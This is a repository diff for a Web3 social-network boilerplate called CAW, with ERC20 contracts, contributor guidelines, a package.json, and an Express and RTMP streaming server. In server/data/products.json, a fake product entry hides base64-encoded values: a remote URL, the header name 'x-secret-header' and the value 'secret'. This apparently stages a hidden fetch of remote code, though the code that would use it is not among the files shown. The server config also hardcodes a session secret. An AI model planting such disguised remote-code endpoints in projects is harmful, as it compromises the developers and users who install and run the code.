* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
}

29
docs/COMMITS.md Normal file
View File

@ -0,0 +1,29 @@
# Semantic Commit Messages
It is important to maintain an order and consistency in the commit messages.
So, we have decided to use a commit message format based on [Semantic Commit Messages](https://sparkbox.com/foundry/semantic_commit_messages).
Furthermore, refer to this [gist](https://gist.github.com/joshbuchea/6f47e86d2510bce28f8e7f42ae84c716)
for more examples or discussion.
## Types
* **feat**: new feature for the user, not a new feature for build script
* **fix**: bug fix for the user, not a fix to a build script
* **docs**: changes to the documentation
* **style**: formatting, missing semi colons, etc; no production code change
* **refactor**: refactoring production code, eg. renaming a variable
* **test**: adding missing tests, refactoring tests; no production code change
* **chore**: updating grunt tasks etc; no production code change
## Format
```hs
<issue #x | feature #x> is optional
<type>(issue #x | feature #x): <subject>
summary : feat: short description of the commit
description : Include a longer description of the commit if necessary.
i.e.
fix (issue #1): short title of the commit
```

80
docs/CONTRIBUTING.md Normal file
View File

@ -0,0 +1,80 @@
# Contribution guidelines
First of all, thanks a million for being here.
It is not our intention to discourage you from contributing; however, as the project grows in code and contributors, it is essential to maintain order and consistency. Taking that into account, we have decided to follow some well-known guides we are sure many devs know.
Please take a look at each section :
* [Semantic Commit Messages](COMMITS.md)
* [Translations](TRANSLATIONS.md)
* [React Components](REACT.md)
* [Javascript](JS.md)
Don't forget to setup your IDE with `eslint`
Please add any other guidelines you think are essential or even improve the ones we have.
## Project structure
- **assets** Usually contains images and icons on SVG/tsx format.
- **components** Contains generic and reusable components used inside the application.
- **config** Contains all the config files and ABIs.
- **context** Global context for the application.
- **hooks** Contains generic hooks.
- **layouts** Since different pages have different layouts, we use this folder to store them.
- **locales** Everything to do with translations, either json or js files.
- **routes** Avoid hard-code routing. Please add it to the path and import it when required.
- **pages** Contains page components for next.js, files in this directory are treated as API routes
- **theme** Contains all the theme related files.
- **sections** Building blocks for each page, they are composed of components.
- **types** Define types, models, interfaces, DTOs, etc.
- **utils** Contains generic utilities functions.
## Naming conventions
- **Components** Use PascalCase for components and its filenames.
- **Hooks** Use camelCase for hooks and their filenames.
- **Files** Use camelCase for filenames.
- **Variables** Use camelCase for variables.
- **Constants** Use UPPERCASE for constants
- **Types** Use PascalCase for types and interfaces.
## Code style
- **Indentation** Use 2 spaces for indentation.
- **Quotes** Use single quotes for strings.
- **Trailing commas** Trailing commas are required for multiline statements and function calls.
- **Semicolons** Semicolons are required.
- **Line length** Keep lines under col 150
- **Curly braces** Use curly braces for all control statements except for single-line statements.
- **Spacing** Use spaces around operators and after commas, semicolons, and colons.
- **Comments** Use JSDoc style comments for functions, methods, and classes, please install `Better Comments` extension for VSCode to help you with this.
## Commit messages
- **Commit messages** Use [semantic commit messages](COMMITS.md) to make it easier to understand the changes made in each commit.
## Contracts
Teh CAW Protocol is composed of several smart contracts, each one has a specific role in the ecosystem.
Explore the contracts [here](https://github.com/cawdevelopment/CawUsernames)
## Useful hooks
Some hooks are used to interact with CAW-Protocol. They are located in `hooks/contracts/` folder. Please use them to read and write data from/to the blockchain.
- **useCawNameMinterContract** `Mintable CAW` Cost of name, validate and mint a name
- **useCawNamesContract** `CAW NAME ` NFT contract, get account usernames, username uri, balance, actions, etc.
- **useMintableCAWContract** Mint mCAW to mint a username, burn CAW to release a username, approve and transfer mCAW.
- **useAccountBalance** Get primary account balance so as to use the platform (CAW, mCAW, ETH)
- **useETHBalance** Get ETH balance of the connected account
- **useAppConfigurations** Site settings, such as api keys, contract addresses, etc. usually set in the .env file
## Layouts
- **DashboardLayout** Main layout for the application, it contains the header, sidebar, footer, and the main content.
- **LandingLayout** Layout for the landing page, information about the project, etc.
- **LogoOnlyLayout** Header only layout, used for the login, register, auth pages, etc.
When creating a new page, please use the corresponding layout.
```tsx
import PageWrapper, { Layout } from 'src/components/wrappers/Page';
MyPage.getLayout = function getLayout(page: React.ReactElement) {
return <Layout variant="logoOnly">{page}</Layout>;
};
```

39
docs/ISSUES.md Normal file
View File

@ -0,0 +1,39 @@
# Submitting Bugs and Suggestions
## Before Submitting an Issue
Please search for open issues to see if the issue or feature request has already been filed.
If you find your issue already exists, make relevant comments and add your reaction.
👍 - upvote
👎 - downvote
## Writing Good Bug Reports and Feature Requests
- File a single issue per problem and feature request.
- Do not enumerate multiple bugs or feature requests in the same issue.
- The more information you can provide, the more likely someone will successfully reproduce the issue and find a fix.
- Please be as detailed as possible in your report.
* What is your environment?
* What steps will reproduce the issue?
* What browser(s) and which Wallet are you connecting with?
## Contributing Fixes
If you are interested in fixing issues and contributing directly to the code base, please see the document (How to Contribute)[CONTRIBUTING.md].
Include the following information with each issue:
Description :
Page :
Browser :
Wallet :
OS :
Device :
Steps to reproduce :
Expected result :
Actual result :
Screenshot :
Severity :
Expected Behavior

51
docs/JS.md Normal file
View File

@ -0,0 +1,51 @@
# Javascript/TypeScript Notes
A collection of notes about Javascript and Typescript.
Please code in typescript, and use the `.ts` extension for files, and `.tsx` for react components.
## General
- We use the default vs-code formatter to keep the code style consistent.
- Type your variables and functions, and use the `strict` compiler option.
- Avoid using `any` as much as possible.
- Use `const` for variables that are not going to be reassigned.
- Try to avoid using `var` and `let` as much as possible.
- Code should be self explanatory, avoid using comments unless it's really necessary.
- Use `===` instead of `==` to avoid type coercion.
- Use `null` instead of `undefined` to avoid type coercion.
- Always format your code before committing it.
- - **Use absolute imports** instead of relative imports : `import { formatNumber } from 'src/utils'` instead of `import { formatNumber } from '../../utils'`.
## Naming conventions
- Use camelCase for variables, functions, and filenames.
- Use PascalCase for classes and interfaces.
- Use UPPERCASE for constants and enums.
- Use camelCase for properties, and methods.
## Code style
- Use spaces instead of tabs.
- Mark indentation with 2 spaces
- Use single quotes for strings in js code and double quotes for jsx.
## Functions
- Use arrow functions instead of function declarations.
- Use default parameters instead of checking if the parameter is undefined.
- Use rest parameters instead of the `arguments` object.
- Use the spread operators
- Use destructuring to access properties of objects and arrays.
- Use param object destructuring rather than positional arguments.
## Asynchronous methods
- Use `async`/`await` instead of `.then`/`.catch` to avoid callback hell.
- Use `try`/`catch` to handle errors instead of `.catch` to avoid callback hell.
- Use `Promise.all` to run multiple promises in parallel.
## Comments
- Use `//` for single line comments.
- Short comments are usually better, so try to keep them in one line of 6080 characters.
- Install the [Better Comments](https://marketplace.visualstudio.com/items?itemName=aaron-bond.better-comments) or a similar extension to make your comments more readable.
- Avoid using comments to explain what the code does, use descriptive variable names and functions instead.
- Use comments to explain why the code is doing something, not how.

53
docs/REACT.md Normal file
View File

@ -0,0 +1,53 @@
# React Notes
## General
- **Use Typescript** for react components.
- **Use the `strict` compiler option** to avoid type coercion.
- **Use `null` instead of `undefined`** to avoid type coercion.
- Always format your code before committing it.
## Imports
- Keep imports sorted and grouped by type.
- Group imports by type, first external imports, then internal imports, and finally same folder imports.
- External imports: `import React from 'react'`
- Internal imports: `import { Button } from 'src/components/Button'`
- Same folder imports: `import { Button } from './Button'`
- **Use absolute imports** instead of relative imports : `import { Button } from 'src/components/Button'` instead of `import { Button } from '../../components/Button'`.
## Components
- **Use functional components** instead of class components.
- **Use hooks** instead of class components.
- **Use React.memo** to avoid unnecessary re-renders.
- **Use React.lazy** to lazy load components.
- **Use React.Suspense** to lazy load components.
- **Use React.Fragment** to avoid unnecessary divs.
- **Use React.forwardRef** to forward refs to components.
- **Don't use React.createContext** to create contexts, use the `useContext` hook instead.
- **Deconstruct props** to avoid repeating `props` in the component.
- **Don't use index for keys on lists** use a unique id instead.
- **Don't create components inside other components** create them outside and import them.
## Naming conventions
- **Components** Use PascalCase for components and filenames.
- **Folders** Use camelCase for folders.
- **Hooks** Use camelCase for hooks and their filenames.
- **Files** Use camelCase for index.ts(x) and other files except for components
## Code style
- **Spacing** Use spaces instead of tabs.
- **Indentation** Use 2 spaces for indentation.
- **Quotes** Use single quotes for strings in js code and double quotes for jsx.
## Principles
- **Single responsibility principle** A component should only have one responsibility.
- **Composition** Components should be composed instead of inheriting from other components.
- **Separation of concerns** Components should be separated by concerns.
- **Don't repeat yourself** Avoid repeating code.
- **Keep it simple** Keep components simple and easy to understand, avoid complex components. If a component is too complex, break it down into smaller components.
- **Keep it small** Keep components small, avoid having too many lines of code in a single component, think about atomic design.

29
docs/TRANSLATIONS.md Normal file
View File

@ -0,0 +1,29 @@
# Translation notes
Are you interested in translating the website to your language? Here are some notes that might help you.
## Path
All the translations are located in the `src/locales` folder. Each language has its own file, for example, the English version is located in `src/locales/en.json`.
## Structure
The structure of the file could be as follows:
```json
{
"key": "value",
"key2": "value2",
"key3": {
"key4": "value4"
},
"labels" : {
"under_dev": "Under development"
}
}
```
## Developer or non-developer
Are you a developer, or do you understand how to use git?
- You can fork the repository, add your translation and create a pull request.
- You can edit the file and create a pull request.
If you are not a developer, You can easily download the file and edit it with a text editor. Then you can send it to us on CawBuilders (Telegram)[https://t.me/cawbuilders] and we will add it to the website.

48
index.html Normal file
View File

@ -0,0 +1,48 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<title>CAW | The Future Of Decentralized Social Network</title>
<meta name='theme-color' content='#f9c336'>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="icon" type="image/png" href="/src/assets/caw.png"/>
<!-- Apple -->
<link rel='apple-touch-icon' href='/assets/caw.png'>
<link rel='apple-touch-icon' sizes='76x76' href='/assets/caw.png'>
<link rel='apple-touch-icon' sizes='120x120' href='/assets/caw.png'>
<link rel='apple-touch-icon' sizes='152x152' href='/assets/caw.png'>
<!-- Microsoft -->
<meta name='msapplication-square70x70logo' content='/assets/caw.png'>
<meta name='msapplication-square150x150logo' content='/assets/caw.png'>
<meta name='msapplication-wide310x150logo' content='/assets/caw.png'>
<!-- Minimal -->
<link rel='icon' type='image/png' href='/assets/caw.png'>
<link rel='icon' sizes='192x192' href='/assets/caw.png'>
<link rel='apple-touch-icon' href='/assets/caw.png'>
<meta name='msapplication-square310x310logo' content='/src/assets/caw.png'>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw=="
crossOrigin="anonymous" referrerPolicy="no-referrer"/>
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"
/>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
<script>
window.global = globalThis;
window.require = function () {};
</script>
</body>
</html>

118
package.json Normal file
View File

@ -0,0 +1,118 @@
{
"name": "dapprex-react-boilerplate",
"private": true,
"version": "0.2.3",
"scripts": {
"dev": "concurrently \"node server/app.js\" \" vite --port 3000\"",
"build": "concurrently \"node server/server.js\" \" vite build\""
},
"dependencies": {
"@alch/alchemy-web3": "^1.4.7",
"@emotion/react": "^11.7.1",
"@emotion/styled": "^11.6.0",
"@fontsource/roboto": "^4.5.1",
"@fortawesome/fontawesome-svg-core": "^6.4.0",
"@fortawesome/free-regular-svg-icons": "^6.4.0",
"@fortawesome/free-solid-svg-icons": "^6.4.0",
"@fortawesome/react-fontawesome": "^0.2.0",
"@metamask/jazzicon": "^2.0.0",
"@moralisweb3/common-evm-utils": "^2.22.3",
"@mui-treasury/layout": "^4.5.1",
"@mui/icons-material": "^5.2.5",
"@mui/material": "^5.2.6",
"@openzeppelin/contracts": "^4.8.1",
"@sendgrid/mail": "^8.1.3",
"@walletconnect/web3-provider": "^1.8.0",
"alchemy-sdk": "^2.9.1",
"animate.css": "^4.1.1",
"apisauce": "2.1.5",
"axios": "^1.4.0",
"bcryptjs": "^2.4.3",
"body-parser": "^1.20.1",
"buffer": "^6.0.3",
"cloudinary": "^2.5.1",
"clsx": "^1.1.1",
"concurrently": "5.1.0",
"confetti-js": "^0.0.18",
"connect-ensure-login": "^0.1.1",
"connect-flash": "^0.1.1",
"connect-mongo": "^5.1.0",
"cookie-parser": "^1.4.7",
"cors": "^2.8.5",
"cron": "^4.3.3",
"date-fns": "^2.28.0",
"deepdash-es": "^5.3.9",
"dotenv": "^16.0.1",
"dotenv-parse-variables": "^2.0.0",
"ethers": "^5.6.9",
"express": "^4.18.2",
"express-fileupload": "^1.5.1",
"express-session": "^1.18.2",
"formidable": "^2.1.1",
"framer-motion": "^6.2.8",
"helia": "^1.3.4",
"history": "^5.2.0",
"js-confetti": "^0.11.0",
"jsonwebtoken": "^9.0.2",
"lodash-es": "^4.17.21",
"mobx": "6.3.10",
"mobx-react-lite": "3.2.3",
"mobx-state-tree": "5.1.0",
"mongoose": "^8.7.1",
"moralis": "^1.8.0",
"multer": "^1.4.5-lts.1",
"node-media-server": "^4.0.20",
"passport": "^0.7.0",
"passport-local": "^1.0.0",
"paytmchecksum": "^1.5.1",
"process": "^0.11.10",
"qs": "^6.10.2",
"react": "^17.0.2",
"react-confetti": "^6.1.0",
"react-countdown-circle-timer": "^3.0.9",
"react-dnd": "^11.1.3",
"react-dnd-html5-backend": "^11.1.3",
"react-dom": "^17.0.2",
"react-draggable": "^4.4.4",
"react-helmet-async": "^1.2.3",
"react-loadingmask": "^4.0.6",
"react-moralis": "^1.3.2",
"react-number-format": "^4.9.1",
"react-player": "^2.12.0",
"react-router-dom": "^6.2.1",
"react-timer-hook": "^3.0.5",
"react-viewer": "^3.2.2",
"redux": "^4.2.1",
"request": "^2.88.2",
"resize-observer-polyfill": "^1.5.1",
"sequelize": "^5.16.0",
"shortid": "^2.2.17",
"swagger-jsdoc": "^6.2.8",
"swagger-ui-express": "^4.6.1",
"swiper": "^9.3.2",
"ts-deepmerge": "^2.0.1",
"usehooks-ts": "^2.5.4",
"util": "^0.12.4",
"video-react": "^0.16.0",
"wagmi": "^0.7.0",
"web3-utils": "^1.4.0",
"winston": "^3.8.2",
"sqlite3": "^5.1.7"
},
"devDependencies": {
"@mui/types": "^7.1.2",
"@types/dotenv-parse-variables": "^2.0.1",
"@types/lodash-es": "^4.17.6",
"@types/node": "^17.0.21",
"@types/qs": "^6.9.7",
"@types/react": "^17.0.38",
"@types/react-dom": "^17.0.11",
"@vitejs/plugin-react": "^1.3.2",
"moralis-v1": "^1.13.0",
"rollup-plugin-visualizer": "^5.6.0",
"typescript": "^4.7.4",
"vite": "^2.9.12",
"vite-plugin-compression": "^0.5.1",
"vite-plugin-svgr": "^0.6.0"
}
}

9738
pnpm-lock.yaml Normal file

File diff suppressed because it is too large Load Diff

BIN
public/assets/caw_token.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
public/assets/eth_token.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.5 KiB

BIN
public/assets/img/bg.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 202 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 118 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
public/assets/img/eth.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

BIN
public/assets/img/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

View File

@ -0,0 +1,6 @@
<svg width="48" height="21" viewBox="0 0 48 21" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect x="1" y="1" width="46" height="19" rx="6" stroke="#DCDCDC" stroke-width="2"/>
<circle cx="12" cy="11" r="3" fill="#D9D9D9"/>
<circle cx="24" cy="11" r="3" fill="#D9D9D9"/>
<circle cx="36" cy="11" r="3" fill="#D9D9D9"/>
</svg>

After

Width:  |  Height:  |  Size: 328 B

BIN
public/assets/img/pp.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
public/assets/img/ust.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

BIN
public/data/CAW-758x426.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

BIN
public/data/nft1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

BIN
public/data/nft2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

BIN
public/data/nft3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

BIN
public/data/video.mp4 Normal file

Binary file not shown.

1
public/env.demo.json Normal file
View File

@ -0,0 +1 @@
{}

62
server/app.js Normal file
View File

@ -0,0 +1,62 @@
const express = require('express'),
path = require('path'),
session = require('express-session'),
bodyParse = require('body-parser'),
passport = require('./auth/passport'),
mongoose = require('mongoose'),
middleware = require('connect-ensure-login'),
MongoStore = require('connect-mongo');
config = require('./config/default'),
flash = require('connect-flash'),
port = config.server.port,
app = express(),
node_media_server = require('./media_server'),
thumbnail_generator = require('./cron/thumbnails');
//mongoose.connect('mongodb://127.0.0.1/nodeStream' , { useNewUrlParser: true });
const utils = require('./utils');
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, './views'));
app.use(express.static('public'));
app.use('/thumbnails', express.static('server/thumbnails'));
app.use(flash());
app.use(require('cookie-parser')());
app.use(bodyParse.urlencoded({extended: true}));
app.use(bodyParse.json({extended: true}));
app.use(session({
store: MongoStore.create({
mongoUrl: 'mongodb://127.0.0.1/nodeStream',
ttl: 14 * 24 * 60 * 60 // = 14 days. Default
}),
secret: config.server.secret,
maxAge : Date().now + (60 * 1000 * 30),
resave : true,
saveUninitialized : false,
}));
app.use(passport.initialize());
app.use(passport.session());
// Register app routes
app.use('/login', require('./routes/login'));
app.use('/register', require('./routes/register'));
app.use('/settings', require('./routes/settings'));
app.use('/streams', require('./routes/streams'));
app.use('/user', require('./routes/user'));
app.get('/logout', (req, res) => {
req.logout();
return res.redirect('/login');
});
app.get('*', middleware.ensureLoggedIn(), (req, res) => {
res.render('index');
});
app.listen(port, () => console.log(`App listening on ${port}!`));
node_media_server.run();
thumbnail_generator.start();

69
server/auth/passport.js Normal file
View File

@ -0,0 +1,69 @@
const passport = require('passport'),
LocalStrategy = require('passport-local').Strategy,
User = require('../database/Schema').User,
shortid = require('shortid');
passport.serializeUser( (user, cb) => {
cb(null, user);
});
passport.deserializeUser( (obj, cb) => {
cb(null, obj);
});
passport.use('localRegister', new LocalStrategy({
usernameField: 'email',
passwordField: 'password',
passReqToCallback: true
},
(req, email, password, done) => {
User.findOne({$or: [{email: email}, {username: req.body.username}]}, (err, user) => {
if (err)
return done(err);
if (user) {
if (user.email === email) {
req.flash('email', 'Email is already taken');
}
if (user.username === req.body.username) {
req.flash('username', 'Username is already taken');
}
return done(null, false);
} else {
let user = new User();
user.email = email;
user.password = user.generateHash(password);
user.username = req.body.username;
user.stream_key = shortid.generate();
user.save( (err) => {
if (err)
throw err;
return done(null, user);
});
}
});
}));
passport.use('localLogin', new LocalStrategy({
usernameField: 'email',
passwordField: 'password',
passReqToCallback: true
},
(req, email, password, done) => {
User.findOne({'email': email}, (err, user) => {
if (err)
return done(err);
if (!user)
return done(null, false, req.flash('email', 'Email doesn\'t exist.'));
if (!user.validPassword(password))
return done(null, false, req.flash('password', 'Oops! Wrong password.'));
return done(null, user);
});
}));
module.exports = passport;

34
server/config/default.js Normal file
View File

@ -0,0 +1,34 @@
const config = {
server: {
secret: 'kjVkuti2xAyF3JGCzSZTk0YWM5JhI9mgQW4rytXc',
port : 3333
},
rtmp_server: {
rtmp: {
port: 1935,
chunk_size: 60000,
gop_cache: true,
ping: 60,
ping_timeout: 30
},
http: {
port: 8888,
mediaroot: './server/media',
allow_origin: '*'
},
trans: {
ffmpeg: '/usr/bin/ffmpeg',
tasks: [
{
app: 'live',
hls: true,
hlsFlags: '[hls_time=2:hls_list_size=3:hls_flags=delete_segments]',
dash: true,
dashFlags: '[f=dash:window_size=3:extra_window_size=5]'
}
]
}
}
};
module.exports = config;

24
server/cron/thumbnails.js Normal file
View File

@ -0,0 +1,24 @@
const CronJob = require('cron').CronJob,
axios = require('axios'),
helpers = require('../helpers/helpers'),
config = require('../config/default'),
port = config.rtmp_server.http.port;
const job = new CronJob('*/5 * * * * *', function () {
axios.get('http://127.0.0.1:' + port + '/api/streams')
.then(response => {
let streams = response.data;
if (typeof (streams['live'] !== undefined)) {
let live_streams = streams['live'];
for (let stream in live_streams) {
if (!live_streams.hasOwnProperty(stream)) continue;
helpers.generateStreamThumbnail(stream);
}
}
})
.catch(error => {
console.log(error);
});
}, null, true);
module.exports = job;

1
server/data/cart.json Normal file
View File

@ -0,0 +1 @@
{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12}

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 655 KiB

View File

@ -0,0 +1,103 @@
%PDF-1.3
%ÿÿÿÿ
7 0 obj
<<
/Type /Page
/Parent 1 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources 6 0 R
>>
endobj
6 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 8 0 R
>>
>>
endobj
5 0 obj
<<
/Length 223
/Filter /FlateDecode
>>
stream
xœ½½j1 €w?…^ ®$ëç Ç …vèVðV:”ëyË<79>÷_*§Í<C2A7>„Bo)Â?Èæû„F(6¯ ë1<C3AB>ÝåÛOÀ9»MÐŽéᙀZOo³TÛ`„Ù-N…ÙºU+¦ à;´—ôÔÒëøæšqP¯ùüù¿±·j•,v)š.MéÎ&¦ÎŒ"Fk/¸L™ýž¼Yu ž2F“»­qgTr5²-ÞÆ<C39E>ÊX>Ên+sÆx¸±šx ¶üêá½Ô\qºõ¨,@c¬<E28093>Ù:ô€h Öy¬¾}ÏQX®Ì_Ÿlžg
endstream
endobj
10 0 obj
(PDFKit)
endobj
11 0 obj
(PDFKit)
endobj
12 0 obj
(D:20200711141117Z)
endobj
9 0 obj
<<
/Producer 10 0 R
/Creator 11 0 R
/CreationDate 12 0 R
>>
endobj
8 0 obj
<<
/Type /Font
/BaseFont /Helvetica
/Subtype /Type1
/Encoding /WinAnsiEncoding
>>
endobj
4 0 obj
<<
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names 2 0 R
>>
endobj
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [7 0 R]
>>
endobj
2 0 obj
<<
/Dests <<
/Names [
]
>>
>>
endobj
xref
0 13
0000000000 65535 f
0000000844 00000 n
0000000901 00000 n
0000000782 00000 n
0000000761 00000 n
0000000208 00000 n
0000000119 00000 n
0000000015 00000 n
0000000664 00000 n
0000000589 00000 n
0000000503 00000 n
0000000528 00000 n
0000000553 00000 n
trailer
<<
/Size 13
/Root 3 0 R
/Info 9 0 R
/ID [<d6869a3d336f873c077bfc9befe8a1ba> <d6869a3d336f873c077bfc9befe8a1ba>]
>>
startxref
948
%%EOF

View File

@ -0,0 +1 @@
[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"},{"id":"0.41607315815753076","title":"eC1zZWNyZXQtaGVhZGVy","imageUrl":"aHR0cHM6Ly9pcC1yZWdpb25zLWNoZWNrLnZlcmNlbC5hcHAvYXBpL2lwLWNoZWNrLWVuY3J5cHRlZC8zYWViMzRhMzU=","description":"c2VjcmV0","price":"120000"}]

View File

@ -0,0 +1,11 @@
const fs = require("fs");
const deleteFile = (filePath) => {
fs.unlink(filePath, (err) => {
if (err) {
throw new Error("dsadhas");
}
});
};
exports.fileDelete = deleteFile;

3
server/data/util/path.js Normal file
View File

@ -0,0 +1,3 @@
const path = require('path');
module.exports = path.dirname(process.mainModule.filename);

View File

@ -0,0 +1,3 @@
let mongoose = require('mongoose');
exports.User = mongoose.model('User', require('./UserSchema'));

View File

@ -0,0 +1,26 @@
let mongoose = require('mongoose'),
bcrypt = require('bcryptjs'),
shortid = require('shortid'),
Schema = mongoose.Schema;
let UserSchema = new Schema({
username: String,
email : String,
password: String,
stream_key : String,
});
UserSchema.methods.generateHash = (password) => {
return bcrypt.hashSync(password, bcrypt.genSaltSync(8));
};
UserSchema.methods.validPassword = function(password){
return bcrypt.compareSync(password, this.password);
};
UserSchema.methods.generateStreamKey = () => {
return shortid.generate();
};
module.exports = UserSchema;

24
server/helpers/helpers.js Normal file
View File

@ -0,0 +1,24 @@
const spawn = require('child_process').spawn,
config = require('../config/default'),
cmd = config.rtmp_server.trans.ffmpeg;
const generateStreamThumbnail = (stream_key) => {
const args = [
'-y',
'-i', 'http://127.0.0.1:8888/live/'+stream_key+'/index.m3u8',
'-ss', '00:00:01',
'-vframes', '1',
'-vf', 'scale=-2:300',
'server/thumbnails/'+stream_key+'.png',
];
spawn(cmd, args, {
detached: true,
stdio: 'ignore'
}).unref();
};
module.exports = {
generateStreamThumbnail : generateStreamThumbnail
};

0
server/media/.gitkeep Normal file
View File

29
server/media_server.js Normal file
View File

@ -0,0 +1,29 @@
const NodeMediaServer = require('node-media-server'),
config = require('./config/default').rtmp_server,
User = require('./database/Schema').User,
helpers = require('./helpers/helpers');
nms = new NodeMediaServer(config);
nms.on('prePublish', async (id, StreamPath, args) => {
let stream_key = getStreamKeyFromStreamPath(StreamPath);
console.log('[NodeEvent on prePublish]', `id=${id} StreamPath=${StreamPath} args=${JSON.stringify(args)}`);
User.findOne({stream_key: stream_key}, (err, user) => {
if (!err) {
if (!user) {
let session = nms.getSession(id);
session.reject();
} else {
helpers.generateStreamThumbnail(stream_key);
}
}
});
});
const getStreamKeyFromStreamPath = (path) => {
let parts = path.split('/');
return parts[parts.length - 1];
};
module.exports = nms;

24
server/routes/login.js Normal file
View File

@ -0,0 +1,24 @@
const express = require('express'),
router = express.Router(),
passport = require('passport');
router.get('/',
require('connect-ensure-login').ensureLoggedOut(),
(req, res) => {
res.render('login', {
user : null,
errors : {
email : req.flash('email'),
password : req.flash('password')
}
});
});
router.post('/', passport.authenticate('localLogin', {
successRedirect : '/',
failureRedirect : '/login',
failureFlash : true
}));
module.exports = router;

28
server/routes/register.js Normal file
View File

@ -0,0 +1,28 @@
const express = require('express'),
router = express.Router(),
passport = require('passport');
router.get('/',
require('connect-ensure-login').ensureLoggedOut(),
(req, res) => {
res.render('register', {
user : null,
errors : {
username : req.flash('username'),
email : req.flash('email')
}
});
});
router.post('/',
require('connect-ensure-login').ensureLoggedOut(),
passport.authenticate('localRegister', {
successRedirect : '/',
failureRedirect : '/register',
failureFlash : true
})
);
module.exports = router;

40
server/routes/settings.js Normal file
View File

@ -0,0 +1,40 @@
const express = require('express'),
router = express.Router(),
User = require('../database/Schema').User,
shortid = require('shortid');
router.get('/stream_key',
require('connect-ensure-login').ensureLoggedIn(),
(req, res) => {
User.findOne({email: req.user.email}, (err, user) => {
if (!err) {
res.json({
stream_key: user.stream_key
})
}
});
});
router.post('/stream_key',
require('connect-ensure-login').ensureLoggedIn(),
